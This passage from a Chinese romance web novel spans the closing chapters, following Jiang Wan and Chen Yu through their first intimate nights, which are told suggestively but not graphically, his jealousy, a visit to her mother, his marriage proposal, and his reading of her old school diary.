轻微的触感,冰凉的刺激,姜挽忍不住轻哼一声。可今日的陈屿实在是奇怪。 以往他们也接吻,也有很多亲密动作,可没有一次像今天这般迫切,仿佛下一秒她就要消失了。 “我想要你。”陈屿抓她的手,让她一起感受。 虽然已经不是第一次了,可姜挽还是被吓到了,她再次问道:“是因为刚才的事情吗?” “是,也不是。” 刚才的事情只不过是导火索而已,起到了加速作用,可这个想法却是实实在在在已经在他心里存在了许多年。 “我想要你,可以吗?”两个人都到这种地步了,可没得到姜挽的答复,陈屿还是硬生生忍着。 两人离得这么近,姜挽自然也能感觉到他的隐忍,她踮起脚尖,主动在他唇上吻了一下:“其实,刚才遇到气流的时候,我想的也是你。” 陈屿突然拿开她的手,用力将她一揽。 “想我什么?”他故意开口。 姜挽有点腿软,她没经历过这些,自然也难以招架,有点躲着他的眼神:“想我还没追到你,要是就这么死了的话,岂不是有点太亏了。” “嗯,是有点亏,”陈屿掰她下巴过来吻,声音含混道,“那我们来做点不亏的。” 话音落,一把将她打横抱起,朝着卧室走去。 姜挽的视线有些眩晕,心也跟着眩晕,恍惚间,这才注意到家里的布置,灯光,鲜花,和香薰:“你特意布置的吗?” “嗯,喜欢吗?”原本是用来答应她的追求的,不过现在看来,当下这情形,显然更合适。 “喜欢”两个字还没说出口,姜挽就被扔在了大床上,好软,好轻,像陷入了云朵和海绵。 此时陈屿就站在床尾,一颗一颗地开始解纽扣,接着是皮带。紧实的肌肉,流畅的身体线条。姜挽这会儿才真真切切地感受到接下来要发生什么了。 许是害羞,也可能是有点紧张吧,她这才后知后觉地开始往被子里躲,瞬间被陈屿抓住脚踝,一把扯回来:“躲什么?” 他没吻她嘴唇,而是在额头印下一吻,接着轻轻抬手摩挲她的脸颊。 姜挽果然被安慰到,坦诚道:“我是第一次,有点……紧张。” “巧了,我也是。”陈屿摩挲她脸颊的力道变重,能听出来呼吸也是。 姜挽咽了下口水:“那我们需不需要先看点指导什么的?” 陈屿将她圈在怀里,温柔地去吻:“你指什么?” “书,杂志?或者你们男生经常看的电影之类的?” 陈屿皱眉:“我从不看这些。”说他有精神洁癖也好,对姜挽死心塌地也罢,在他这里,从对这件事有感觉开始,幻想的对象就从来只有她一个人。 喜欢她这事是本能,从来不需要任何引导,他就能无师自通。 “那你……” “都在梦里。” “所以梦里的那个人……” “是你,”陈屿狠狠地吻她一下,“从来都是你。” 姜挽睁大眼睛,有些茫然,似乎觉得他这些话有些夸张了。 “怎么,不信?”陈屿挑眉,“那我们就来实践一下。” 额头贴着她的额头,鼻尖抵着她的鼻尖,陈屿吻了下去。 中途,陈屿还是停下来问了一句:“会不会后悔?” 姜挽摇头,眼尾红红,伸手搂住他:“不后悔。” 经年幻想,一朝成真。 这个在他心里埋藏了这么多年的梦,即便再压抑,他的情绪也难免会失控。 “你知道我等这一天等了多久吗?很多年前我就想这么做了。” “我很想你,这些年都很想你,想你想得快疯了,差点疯掉,差点死掉。” “接受我吧,爱我吧,不要再离开我,哪怕是伤害,是煎熬,我也认了。只要你再不会离开我。” “姜挽,姜挽……” “宝宝……” “我爱你。” 姜挽脑袋晕晕的,其实一开始并没听清他在说什么,好几次下来,她终于听懂了,伸手抱住他,在他耳边颤声呢喃:“我不会再离开你,我也爱你。” 陈屿一愣:“你说什么?”额头相抵,他异常执着地看着她,“再说一次。” “我说,我爱你。” 话音落,陈屿突然抱紧她。 她什么都说不出来了。 像一株水草,又仿佛一颗浮萍,没了主心骨,全部都是他。 她眼睛一眨不眨地看着眼前这个人,这个从年少,到如今,一直在她心里的那个人。 终于,姜挽忍不住落了一滴泪。 再次醒来的时候,窗外的天色已经暗了,姜挽全身酸涩得厉害,正打算起身,却发现陈屿就在旁边的凳子上坐着,正看着她。 刚刚两人才经历了那种事,被他这么直勾勾地看着,姜挽有些不好意思:“我睡着了?”一开口,才发现嗓子也哑了。 陈屿起身,来到床边,将她搂抱着坐起来,又拿了旁边桌上的温水送到她嘴边:“是晕了。” 话音落,姜挽的脑海里便立马浮现出刚才的场景。 第一次就遇上这种情况,确实是挺丢人的,她尝试着解释:“那个……我可能是太累了,才会这样。” “嗯,”陈屿接过她喝完的水杯,顺势把她一把揽进怀里,头埋在她肩颈,细细地吻,“不怪你,是我太凶了。” 吻着吻着,他便来到了她的嘴唇:“宝宝,把嘴张开。” 姜挽乖乖听他的话,也不知道是不是自己的错觉,她总感觉陈屿这会儿的声音和亲吻都和以前不大一样了,潮湿,粘腻,还带着浓浓的其他意味。 配合着他吻了会儿,果不其然,姜挽又感觉到了变化…… 这也没做什么呀,而且和刚才也没隔多长时间…… 感觉到耳边的呼吸越来越重,姜挽气息不稳地推开他:“等……等一下。” “怎么了?”陈屿嗓音喑哑,眼尾红得厉害。刚才他就没有尽兴,又舍不得在她睡觉的时候碰她,好不容易等到她醒了,自然是想立马就继续。 “我想去洗澡,想把衣服换了。” “我帮你洗过,也换过了。”陈屿追着她继续吻。 “我饿了,想吃东西。” 听到这,陈屿这才恋恋不舍地离开她的红唇,哑声道:“是该吃点东西了。” 说罢,掀开被子,一把将她打横抱起:“先带你去吃东西。” 突然的腾空,姜挽有刹那间的眩晕,忍不住抬手勾住他的脖子:“我可以自己走的。” “不用,我抱你去。” 从卧室到客厅的一路,陈屿也没和她分开,嘴唇压在她的红唇上,就差将她吃进肚子里了。 把姜挽放在凳子上后,他转身进了厨房,面是趁她睡觉的时候做的,直接端出来就行。简简单单的海鲜汤面,再卧个鸡蛋,最适合这个时候暖胃。 姜挽这会儿最想吃的,也就是这一口,一勺鲜汤下肚,她满足地叹一口气,抬眸间才发现陈屿并没吃,只是眼睛一眨不眨地看着她,和刚才的眼神一模一样。 姜挽清了清嗓子,开口道:“你不吃吗?” “我不吃,你吃就行。” “那你一会儿饿了怎么办?” “我吃别的。” “哦。”姜挽还以为他给自己准备了其他的饭菜,也就没再问了,开始全神贯注地吃饭。 她确实饿了,刚才消耗了那么多的体力,加之这面确实符合她的口味,也就没时间再想其他的。 整个过程,两人都没再开口,陈屿全程看着她吃饭,眼神温柔又直接,在她吃完后,才开口:“吃饱了?” “嗯,味道很好。” 姜挽起身,正打算去厨房洗碗,却被陈屿握住手腕:“洗碗的事情不着急,先放着,这会儿有更重要的事情要做。” “什么事……” 姜挽的话还没说完,便被他一把从凳子上抱起,放在自己腿上,黏黏糊糊地,他又开始吻她了。 “你说呢?你吃饱了,是不是该到我了?” 他这话说得露骨,姜挽一下子就脸红了,也瞬间反应过来,他刚才说的“吃别的”是什么意思了。 在这方面,她完全就是个小白:“刚才不是已经做过了吗?” 陈屿轻笑,嗓音因为沾染了情欲,比以往还要好听:“这才哪儿到哪儿?宝宝,你不懂男人。” 更不懂一个对你觊觎了这么多年的男人。 “可这样,会不会有些不太好?” “哪样?”陈屿将她的耳垂含在嘴里,声线明显已经乱了,“这样吗?还是这样?” 姜挽就像一株被狂风席卷的小草,在他怀里颤颤地承受着。 “会舒服的。”他哄她。 姜挽其实也不是不喜欢,只是在这方面经历太少,总会觉得胆怯。 “那我们回卧室。” “不回,就在这里,在这张凳子上。” 姜挽震惊,她根本不知道还能这样:“那怎么行?” “怎么不行?” 陈屿的呼吸明显乱了,衣服是他给她穿的,自然也就知道怎样才能最快地脱下来。 这种地方,别说尝试了,她以前见都没见过。 对姜挽而言,已经不是震惊了,这完全就是超脱了她的理解,颠覆了过去二十几年的生活认知。 可偏偏,她却不讨厌。 不过这次,考虑到她的身体,陈屿没太放纵,也没让她晕过去。可即便如此,姜挽也足够筋疲力尽的了,被陈屿抱进浴缸的时候,她累得连手指都抬不起来。 澡当然还是陈屿帮她洗的,刚才的衣服弄脏了,陈屿又帮她换了一套。很快,她被抱到床上,接着身边的床垫塌陷下去,姜挽知道,陈屿也上来了。 果然下一秒,她被搂进了一个温暖的怀抱,宽厚的手掌轻轻地,有规律地拍着她的后背:“睡吧。” 姜挽确实累了,睡意朦胧间,她突然想到一件事:“那我们现在这样,是不是就代表着你已经答应我的追求了?” “你觉得呢?”陈屿反问她。 “我不知道,”姜挽声音温软,“现在是我在追你,主动权在你,一切都得看你。” “那我们刚才算什么?”陈屿故意逗她。 一提到这个,姜挽就有些不好意思,低头往他怀里躲了躲。 陈屿见她这样,坏心又上来了:“那我要是说没有呢?你会怎么样?” 姜挽还当真思考起来:“不会怎么样,那我就再努力。” “姜挽,”陈屿轻笑出声,随意把玩着她的手指,嗓音慵懒,“即便我们已经这样了,我不答应你,你也不会生气?” “不会,”姜挽动了动,在他怀里找到了一个更舒服的姿势,“和你之前经历的那些比起来,这些根本就不算什么。况且,这也不是什么坏事,我也不是不喜欢。” “你说什么?”陈屿其实已经听到她说的话了,就是要故意逗她,“再重复一遍。” “能不重复吗?”姜挽也有点不好意思。 “不行。” 姜挽把脸埋在他的胸口,嗓音哑哑的:“我说,我也不是不喜欢。” “有多喜欢?” “就……挺喜欢的。” “姜挽,”陈屿突然叫她,“别忘了,追人的第一要素,就是必须坦诚相见。” 这招很好用,果然下一秒,姜挽就坦白了:“好吧,我说就是了,就是挺喜欢的。虽然是第一次,但是很特别,也很舒服的体验。” 陈屿终于满意了,又把她往怀里搂了搂:“既然你喜欢,那我们以后就多尝试。” “我不是这个意思……” 她还没说完,就被陈屿打断了:“现在来回答你的问题,我答应你的追求。”吻了吻她的发顶,陈屿继续开口,“你成功了,我们明天就可以去民政局领证。” “什么?领证?”姜挽惊诧,严重怀疑自己听错了,立马从他怀里抬起头来,她只是问他答不答应她的追求,完全没提领证的事情啊。 陈屿对她这大惊小怪的表现很不满意,重新又把她的脑袋按回自己怀里:“怎么?你追我难道不是为了和我结婚,只是为了单纯玩弄我的感情?” “不是,当然不是了!”这都哪儿跟哪儿啊,姜挽头大,“我只是觉得太快了,得按步骤来吧。” “什么步骤?” “应该是先谈恋爱,几年谈下来觉得合适了,再见家长,订婚,最后再考虑结婚的事情。”她把她认为的流程说了出来。 “既然最后都是结婚,那为什么还要白白浪费时间经历中间这一遭?”陈屿反问她。 姜挽想了想,和他解释道:“是为了给两个人更多的时间相处,万一觉得不合适的话,也好分开。” 陈屿皱眉:“我不会觉得不合适,难道你会?” 姜挽想都没想,脱口而出:“我也不会。” “那不就结了,这些流程对我们而言没用,所以我还是更愿意按照我刚才提的步骤来来。” 但他也还是考虑了她的想法,嗅着她发间的清香,陈屿退了一步,“要是你实在在意这些,我们也可以先领证之后再来做。” 反正这证,是必须先领了。 “这样不就完全反了吗,”姜挽几乎要被他逗笑了,她突然又想到了另外一个问题,“再说了,结婚这么大的事情,你不需要和你父母商量一下吗?” “不需要,他们不管这些,”陈屿回答得跟很爽快,但同时他也意识到了另外一个问题,“不过要是你妈妈觉得需要的话,我们可以先去见她,领证的时间倒是可以适当地往后推一推。” “但也不能太久。”说罢,他又加上了一句,“你觉得明天怎么样?” 姜挽也没搞懂怎么事情就发展得这么快,立马就到了要见家长领证的地步,介于她现在脑子也不大清醒,干脆直接放弃思考了:“我好累,想睡了,这个问题能不能晚点再讨论。” 陈屿到底还是心疼她,吻了吻她的额头,手上又恢复了不轻不重的轻拍动作:“睡吧,我陪着你。” 一觉睡到大天亮,梦里来来回回全是昨晚那些场景,迷蒙中睁开眼,梦里那张和她四目相对的脸庞此时就在她眼前,姜挽一瞬间便觉得脸热。 可这张脸实在是太好看了,五官精致,棱角深邃,除了陈屿,她还从未在其他任何一个人脸上看到过如此完美的结合。 姜挽忍不住伸手碰了碰,先是眉眼,然后是睫毛,往下是鼻尖,正当她准备碰到嘴唇的时候,眼前的人却突然睁开眼,一把握住她的指尖,放在唇上吻了吻。 “累不累?” 姜挽摇头:“刚醒,还好。” 陈屿挑眉:“那我们继续。” 他作势要过来吻她,姜挽这才反应过来他刚才问的“累不累”到底是什么意思。 身体立马缩进被子了,只露出两只大眼睛:“累,我累着呢。” “那你还招我?”陈屿隔着被子抱紧她。 “我没有。”姜挽觉得冤枉,她刚才明明是很正常的询问,怎么在他眼里,就成“招他”了。 况且,她觉得这男女之间也太不公平了,明明都是一样的经历,为何她睡了一觉还会如此疲惫,而陈屿却一副精神抖擞的样子…… “想什么呢?”陈屿托着她的下巴,轻轻在她眼睛上吻了吻,“你再睡会儿,我去给你做早饭。” 陈屿做饭的速很快,等姜挽洗漱完从卫生间出来的时候,早餐已经准备好放在餐桌了。 距离上一顿中间隔了这么长时间,姜挽早就饿了,只是那吃饭的位置,她实在不好意思过去。 昨天晚上,也是在那张凳子上,陈屿抱着她,两人一次又一次地沉沦。而此时,陈屿就坐在那张凳子上,指了指旁边的位置:“过来吃饭。” 西装革履,衣冠楚楚,和昨晚的形象形成强烈的反差。可往往越是这颠倒的错乱,越容易引起内心的激荡。 姜挽快速走过去,不看他,也不说话,只埋头扒拉着碗里的白粥,几分钟便快速吃完了:“我吃好了,先去上班了。” 正打算起身,突然又被陈屿揽着腰坐下:“今天不用去公司,”他剥好鸡蛋递给她,“再吃点鸡蛋。” 姜挽接过,咬一口,口感很Q弹,她也没那么绷着了:“今天不是周五吗?为什么不用去公司?” 她唇边沾了点蛋黄,陈屿用指腹帮她擦掉:“我给大家放了一天假。” “为什么?今天是什么特殊节日吗?” “我答应你追求后的第一天,算吗?” 一口鸡蛋卡在喉咙里,上也不是,下也不是…… 姜挽费力咽下去:“……这不算吧。” “怎么不算?”在陈屿眼里就算,要不是考虑到她暂时还不想被其他同事知道,他恨不得一条新闻昭告天下,让所有人都知道他们在一起了。 “反正你今天是不用去公司了。” 姜挽想了想,觉得她还是应该去一趟:“要不我还是去吧,有些重要的翻译没做完,我想去公司做。” “下周再说。” “真不行,今天就是Deadline了。” 陈屿看了眼她耳后的红痕,深深浅浅好几块,他可不想这些被其他人看见。想了想,还是做了让步:“那你就在家里做。” “可是……” “再说的话,家里也不让做了。” 姜挽赶紧闭嘴,眼神一扫,注意到他今天的西装,心念一动,开口道:“既然不用去公司了,那你为什么还穿了西装?” 她极少用这种语气和他说话,主动,反问,甚至还带着点霸道的意味,陈屿瞬间觉得心情大好,挑眉看向她:“所以,你这是在管我?这么快就进入角色了?” “什么角色?” “当然是妻子的角色。” 姜挽:“……” 她以前怎么没发现陈屿这人的脑回路是这样的。 “其实你也不用不好意思,我喜欢被你管着,”陈屿慢悠悠吃着早餐,“不过你属实是有点多虑了,你在家,我自然也会在家。之所以穿这套衣服,只不过是为了待会儿开会方便而已。” “哦。” 吃完饭,陈屿果然如他所说的那般,打开电脑要开会了,只不过他既不去书房,也不去卧室,就在客厅坐着,看姜挽整理着桌上的零散物品。 突然,他朝姜挽勾了勾手。 姜挽知道他在开会,所以只用口型问他:“怎么了?” 陈屿不回答,只是仍旧看着她。 姜挽当真以为他有事,便起身过去了,只不过她没敢和他站在一侧,因为她知道这会儿他正开着摄像头,而会议里其他说话的人,她大概也能听出来,皆是GSC的管理层。 “怎么了?”她又用口型问了一边。 陈屿却突然抬手指了指她领口的位置:“扣子开了。” 这一句中气十足,掷地有声,不止姜挽听到了,想必参会的人员应该也听到了。 果然在他说完后,会议里原本汇报的声音便当即停了下来,霎时间,一片沉寂。 姜挽很慢地眨了下眼睛,大脑缓慢地反应着现在到底是个什么情况。 还不待她反应过来,陈屿的手便伸了过来,先是帮她整理扣子,接着又抬起她的下巴吻了一下,这才放开她:“好了。” 转而,再次面向会议:“继续。” 全程,姜挽一句话都不敢说,甚至连呼吸都刻意压抑着。这么小的事情,她完全可以自己做的。再说了,扣就扣吧,怎么还亲上了,还是在这么多人面前…… 再看陈屿,神色寡淡,面相自如,仿佛做了一件再正常不过的事情,不懂她为何会如此惊讶。 姜挽:“……” 还是先离开这个是非之地吧,反正她和陈屿之间的诧异,也不是第一次感受了。 第80章 求婚 情和欲是瘾, 裹满蜜糖,一旦沾染,必将沉溺。 有了第一次,就会有第二次, 第三次, 乃至后来的无数次…… 卧室, 客厅, 厨房, 甚至还有浴室, 几乎家里所有的地方,陈屿都带着她体验了一遍。 姜挽今日参加了一场翻译论坛,陈屿坚持要来接她, 因为没有其他同事随行, 姜挽也就答应了。 会议结束的时候, 陈屿因为路上堵车还没到, 姜挽便在门口等他。她正打算拿出今日的笔记翻看,迎面突然走过来一位男士, 高个子, 斯文脸,五官略带混血感, 姜挽觉得他有点眼熟。 那人明显是冲着她来的, 走近了,先和她打招呼:“女士, 您好, 请问您这会儿方便吗?” 离得近了,姜挽也认出,他便是刚才在会议上分享翻译技巧的专家, 语言幽默,通俗易懂,让她受益匪浅。 自然而然地,她便微笑了下:“您好,请问有什么事吗?” “您是在等人吗?” 姜挽点头:“对。” “这里不太好叫车,我正好也打算走,您要是不介意的话,我可以送您一程。” 他很直接,但眼神真诚,表情坦荡,姜挽也就没有感觉到被冒犯的意思。所以,她也就直接坦荡地回复他:“谢谢,不用了,我朋友来接我,马上就到了。” 男人微笑了下,没再强求,眼神注意到她手中笔记本上的红字,换了一个话题:“您要是对刚才的会议有问题的话,我或许可以帮您解答。” 姜挽还真有:“还真有一个,您要是有时间的话,能不能帮我看下?” “荣幸至极。” 姜挽去翻笔记本,刚找到问题,突然听到不远处有人在叫她,那声音她再熟悉不过了,果然一抬头,就看到陈屿正踏步向她走来。 姜挽不自觉便停下了手上的动作,也朝他走近了两步:“怎么这么快,我还以为你会再晚一点。” “嗯,后半段比较好开,”陈屿自然而然站在她旁边,伸手揽住她的腰,“在聊什么?” 这话虽然是对她说的,可说话的时候,眼神却一直盯着对面的男人。 姜挽对他这突然搂腰的动作有些不适应,想挣开,却发现陈屿搂得更紧了,索性也就由着他。 “我们在聊今天翻译的一些事情。”她和陈屿解释,说罢,又相互帮他们做了介绍。 两人简单寒暄。 只不过姜挽敏锐地发现,自从陈屿出现后,对面那位专家的表情就不如刚才温和了,而且陈屿貌似也不大想和他闲聊,表情也是不咸不淡的。 果然,没过一分钟,陈屿便提出要走,姜挽礼貌和对方告别。他倒是也很爽快,立马让开,只不过在他们离开时写下了他的微信号,告诉姜挽有需要的话,可以加他。 姜挽道谢,和陈屿一起离开。 那人看着他俩的背影,忍不住感叹,自己好不容易遇上了一个Crush,人家竟然已经有男朋友了。不过也不难接受,毕竟她那样的女孩,也就只有那位男士能配得上了。 回去的路上,姜挽几次感觉到陈屿的目光朝她看过来,她被他看得莫名,开口询问,陈屿也只是摇头。姜挽最后索性不问了,任由他看着,自己开始整理刚才的笔记。 到家后,她比陈屿先进屋,刚换上拖鞋,正准备脱下今天的这身套装,陈屿突然从后面抱住她,缠缠绵绵的,有些撒娇的意味,顺势吻上她的耳垂。 姜挽以为他只是想要抱一会儿,便安静在他怀里待着,直到感觉到他的气息越来越不稳,还有身体明显的变化,她才开始躲:“先洗澡吧。” “不用,做完再洗。”陈屿含着她的耳垂,声音含混。 姜挽被他吻得动情:“至少……至少得让我把这身衣服脱了吧。” “不脱,穿着好看,我喜欢。”陈屿是真喜欢她穿这身衣服,而且他也要她明确地感受到。 他没用手,而是用嘴,将姜挽白色衬衣的纽扣一颗颗咬开了。至于黑色半身裙,他也没脱,而是直接从后面掀了起来。 有点冷,也有点热,冷热之间,她脑子受激,突然想起来第一次在他眼前穿这种衣服时,当时陈屿只让她立马换掉:“那你之前还让我换掉,我还以为你不喜欢。” “是因为太喜欢了,所以第一次见你这么穿的时候,我就想这么做了。” 坦诚的爱意,毫不保留的占有,姜挽有些招架不住。 “去……去卧室。” “不去,就在这。” 又是一个姜挽之前没有经历过的体验。 她被逼得眼角通红,泪水涟涟。 陈屿恶狠狠地吻下来:“叫我。” “陈……陈屿。” “不对。” “嗯~~那叫什么?” “叫老公。” “老……老公……” 陈屿俯身去吻她:“以后不准在其他男人面前穿这种衣服。” “不准和其他男人闲聊。” “不准加其他男人的微信。” “也不准问其他男人问题。” …… 噼里啪啦地,他说了一大堆,虽然姜挽这会儿脑子不清楚,全程都属于缺氧的状态,可该有的原则还是记得清楚:“我这是工作,必须要做的。” “那你问我,我都可以帮你解决。” “可很多你也不清楚。” “我可以学。” “那么多,都要学吗?” “嗯,为了你,我都可以学。” “可是……” “你是我的,是我一个人的。” 姜挽终于说不出话了,颤抖着在他怀里丢盔卸甲。 做完后,姜挽真是一点力气都没有了,陈屿抱着她去洗澡,又专门做了她爱吃的海鲜面。 一碗面,姜挽基本是在床上吃完的,甚至连手都没抬,全程都由陈屿喂她。 吃着吃着,陈屿突然又提起了刚才那些不让她做的事情,姜挽这会儿脑子清明,第一反应就是反驳。感情她在乎,陈屿她更在乎,但在她这,感情和工作之间有一条明确的线,不能混为一谈,更不能随意跨越。 “这些我真的不能答应你,你知道这份工作对我的重要性,翻译对我的意义,工作中避免不了会和异性打交道的。但有一点我可以和你保证,我绝对不会做越界的事情,我对其他人不会有任何想法。” 她这一番话说得清晰明了,甚至语气也有些硬,本以为陈屿会和她争辩几句,没想到,他这次倒答应得爽快:“好,你说了算。” 姜挽反倒有些不会了,看着陈屿的眼睛,她莫名从那里面看到了“委屈”二字。 姜挽晃了晃他的胳膊,不自觉放软语气:“你相信我,我保证不会的。” “我当然相信你,”陈屿拿纸去擦她唇角沾上的汤汁:“我只是不相信那些人。” “那些人?”姜挽不大明白,“哪些人?” 今天遇到的这个半中半洋的外国佬,以前一起出差时总向她投来惊艳目光的陌生人,还有至今想起来都让他觉得不舒服的裴思,陈屿随便一想,就是一大堆。 他叹口气,担心一条条说出来会显得自己太斤斤计较,于是换了种思路:“是你追的我,我们现在都这样了,你必须对我负责,不然我后半辈子就活不下去了。” 七分真,三分演,他这话一出,姜挽立马担忧地看着他:“怎么了?为什么突然这么说?是我哪里没做好吗?” 陈屿又叹了一口气,故作深沉:“实话告诉你吧,我没有安全感。” “我哪里做得不好,你告诉我,我可以改的。” 能看出来她是真的怕了,陈屿下意识碰了碰她的脸颊,一个习惯性的安慰小动作。但有些东西他必须推她一把,他是真的不想再等了。 “方法当然有,就是不知道你愿不愿意试。” “我当然愿意。”姜挽没有一丝犹豫。 “那好,我们尽快去见你妈妈,然后领证结婚。” “这样你就会有安全感了吗?” “对。” “我可以马上去安排。” 这已经是他第二次和她提出这些了,第一次的时候姜挽还觉得太快了,担心他没有想好。可如今他已经明确表达了没有安全感,让他感到不舒服的因素,她一点都不想留。 勾着陈屿的脖子,她讨好地吻了吻他的下巴:“这个月之内,行吗?” 担心她靠不稳,陈屿伸手搂住她的腰:“不行,太慢了,这个周六就去。” 姜挽想了想:“会不会有点太快了,我还什么都没准备呢。” “你不需要准备,我来安排就行。” “那你父母那边我们什么时候过去?”姜挽觉得既然要去见沈曼,那陈屿父母这边也是需要考虑到的。 “他们这边不急,我可以全权搞定。” 周六这日,是个大晴天。 陈屿没安排司机,而是自己开车。礼物和见面礼什么的,他准备了很多,一件件往车上搬的时候,姜挽都有点看不下去了:“太多了,我妈住的那个地方,用不了这么多东西的。” “用不了就送人,”陈屿从她手中接过两个礼盒,只让她在旁边看着,不让她帮忙,“阿姨愿意怎么处理都行。” “没必要,怪麻烦的。” “不麻烦,你在旁边看着就好,马上就可以出发了。” 他似乎有些紧张,姜挽也不确定是因为东西太多,来回搬运造成的,还是因为马上要见到沈曼这件事。 可很快她便确定了,陈屿的紧张是因为后者,因为过去的一路,他的话题始终围绕着沈曼,不停询问沈曼的喜好和现在的情况。 姜挽其实也有点紧张,虽然她已经在电话里和沈曼说了今天会带男朋友过去,但并没说这人是陈屿,所以对待会儿沈曼的反应,她其实也是未知的。 可她已经想好了,无论如何,这次她都不会再放手。 到了地方之后,沈曼已经早早地在房间等着了,她这会儿精神状态还不错,能认出姜挽,也就知道今天这件事情的重要性。 因为陈屿的特殊安排,沈曼如今的居住条件好了许多,又因为今天这种特殊情况,负责人专门帮她把房间布置了一番。水果,茶具,还有各种换新的装饰,招待客人需要的条件,一件都不差。 只不过她精神状态还不是特别清楚,明显没认出陈屿,只觉得这孩子长得好,懂分寸,还有责任心,很放心把呦呦交给他。 一场见面下来,比姜挽和陈屿想象的都要顺利,就在他们准备离开时,沈曼却突然再次问了一句:“对了,你刚才说你叫什么名字?我总觉得有点熟悉。” “陈屿。” “陈屿……”沈曼独自念叨着,总觉得这个名字她好似在哪里听过,突然,大脑里有什么东西闪过,她反应过来,“你就是呦呦高中时候的那个同学?” 这是突发情况,姜挽也不知道她妈妈这种表情是同意还是不同意,刚想开口,陈屿却赶在她之前:“没错,阿姨,是我。” 坦荡自若,毫无畏惧,好像不管结果是好是坏,他都会挡在她前面。 慢慢的,沈曼的眼角湿了:“没想到,这么多年了,你们……” “真是不容易啊。” “好孩子,”她去拍陈屿的肩膀,“你们都是好孩子,以后和呦呦好好的。” 她没说透,可有些东西已经明了了,很明显她已经回想起了那段往事,她支持他们。 拨云见日,有情人终成眷属。 从康复中心出来,陈屿没带姜挽去停车场,而是直接拉着她的手来到了路旁的行道树下。 他根本等不及。 悬铃木下,光影斑驳,他从口袋里掏出提前准备好的戒指,单膝跪地:“姜挽,嫁给我吧。” 简简单单的几个字,姜挽却觉得好似有惊雷在耳边炸响,让她什么也听不见了,耳边一遍遍回想的,只有刚才他说的那几个字。 所以,他这是,在和她求婚? 她知道他会快,只是没想到竟然会这么快。 巨大的惊喜,让她的大脑有短暂的空白。 姜挽不答,陈屿也就不催促,保持着单膝跪地的姿势,一直虔诚地捧着那颗钻戒。 眼泪是什么时候流出来的,姜挽也不知道,直到陈屿起身,端着她的下巴一点点吻上来,她才意识到凉意。 “你这样,我就当你是答应了。” 姜挽点头,陈屿顺势把戒指给她戴上。 不大不小,尺寸刚好。 “你什么时候买的?” “我们再次遇见的那天。”《 》 第81章 正文完结 第81章 晚风 自从姜挽答应了他的求婚, 陈屿的第一件事就是让她搬到主卧。 姜挽有些不大愿意:“东西太多了,搬来搬去的很麻烦。况且我们现在这样,其实和住在一起也没什么差别的,晚上都在一起, 我只是回来这边拿东西。” 陈屿坚持:“不行, 必须搬。” 他在这方面有种执念, 只有看到她的东西搬过来, 两人的衣物共同放在一个空间, 才会觉得安心。 “可我最近比较忙, 到了年底,很多项目都需要做总结。” “我知道,这事不用你, 我来帮你搬。” 陈屿是个行动派, 尤其是在面对她的事情上, 第二天姜挽一走, 他便立马开始了搬家工作。 牙刷,毛巾, 洗护用品, 都拿过来和他的整整齐齐摆成一对;衣服,鞋子还有包包, 均按四季进行了分类;最后还剩她的一些私人用品, 陈屿本来是打算等她回来再弄的,可眼神不小心瞥见抽屉里一本封面墨绿的笔记本, 鬼使神差地, 他就拿了出来。 主要这个笔记本他之前见她写过几次,但每次只要他靠近,姜挽就会立马收起来。以前没在一起的时候, 陈屿还能控制自己勉强做一个冠冕堂皇的体面人。可现在,他貌似已经做不到了。 占有欲这个东西,是会随着两人的关系深入,逐渐增加的。对于如今的陈屿而言,姜挽就是他的全部,她的每一件事,每一个细节,他都想知道。 细长有力的手指将笔记本翻开,陈屿发现它有些年头了,纸张边缘略有些泛黄,封面更是很多地方都出现了掉皮的情况。可姜挽依旧会经常使用,甚至还如此仔细地保存,可见这个笔记本对她的意义。 入目的第一句话,是这么写的:九月一日,晴,我来到北城八中。闷热,干燥,无风。 陈屿的思绪猛然被拉回到八年前的那个夏天,那时她刚转来北城,是他对她动心的伊始。 很长一段时间,他都以为只有自己一个人还记得这些,也只有他一个人在怀念。可今日看到她的这些话才明白,她也一样。那年夏天,他也撞进了她的视线里。 压抑着激动的情绪,陈屿继续往下看。 我的同桌是个不怎么爱说话的男生,听他介绍叫“陈屿”,人长得很帅,但似乎不大爱搭理人。我有点怕他。 陈屿笑了下,回想起自己当时的“装酷”,好像确实挺讨厌的。 交到新朋友了,她人很好,名字叫“尤伽”。 尤伽约我和他们一起吃饭,陈屿也在,我发现他好像不能吃辣。但不知道为什么,一碗爆辣的米线,他还是吃完了。 他好像也不是很凶,还主动和我说话了。 摸底考试成绩出来了,陈屿依旧是第一,我排在第二,班主任让我们分享学习的经验,他分享的很好,讲话的时候在发光。而且,我发现好像有很多女生喜欢他。 一起吃火锅,陈屿帮我调了蘸料,味道很好。 我今天才知道陈屿竟然会打篮球,而且打得还很好,好多女生为他加油。 有人和他表白了,我有一种说不上来的感觉。 肚子疼,不舒服,陈屿帮我买了卫生用品。 陈屿唱歌很好听,Strawberries & Cigarettes我听了很多遍,但都没有他唱得好听。 陈屿为我打架了,我很担心他,觉得很抱歉。 我们遇到了一只小猫,很可爱,我给它起名叫“小酒”。 不是他的错,我却对他发脾气了,我很后悔。 我让他不要再找我了,他的眼神很伤心,我不敢看他。 我没想到他会来江城,可我真的很开心,就当是离别前的念想吧,就这几天,就这一次。 看到这几句话,陈屿屏息,本来一切都好好的,到这里却突然发生了转折。当年也是,突然间,她就要推开自己。 可到底是为什么呢? 陈屿知道她不是一个没有分寸的人,所以只有一种可能,那就是她当年遇到困难了。 仿佛意识到了什么,陈屿的指尖有点抖,他点燃一支烟,狠狠抽了一口,才继续看下去。 舅舅的工作丢了,妈妈也成了病人,好像一切都因我而起,我是个罪人。 爸爸……爸爸的事情我至今都不敢相信,可它就是发生了,这个世界上还有什么是真的吗? 我好像真的没有其他办法了。 下雨了,好冷,我对不起陈屿,连离开都不能和他好好道别。 希望他忘了我,希望他幸福。 …… 越到后面,她的字数越简短,字迹也越来越凌乱,单从这些文字里,陈屿就已经感受到了她当时的痛苦,如果可以,他宁愿时光倒流,自己替她承受。 可过去的时间就如泼出去的水,永远也回不来了。 被这种绝望的无力感笼罩着,陈屿良久都没有其他动作,直到一支烟燃尽。 接下来的日记本是一大片的空白,陈屿大致对照时间算了算,应该是姜挽离开北城,在港城生活的那几年。但不用想也知道,她那几年生活的必然不好。 陈屿抬手抚了抚,多么希望能通过纸张抚平她当时的伤痛。 再次开始有记录,是从今年夏天开始。 我没想到,有一天竟然还能和陈屿再次相遇。但,他好像很讨厌我。 我的要求不高,只要能远远地看着他就够了。 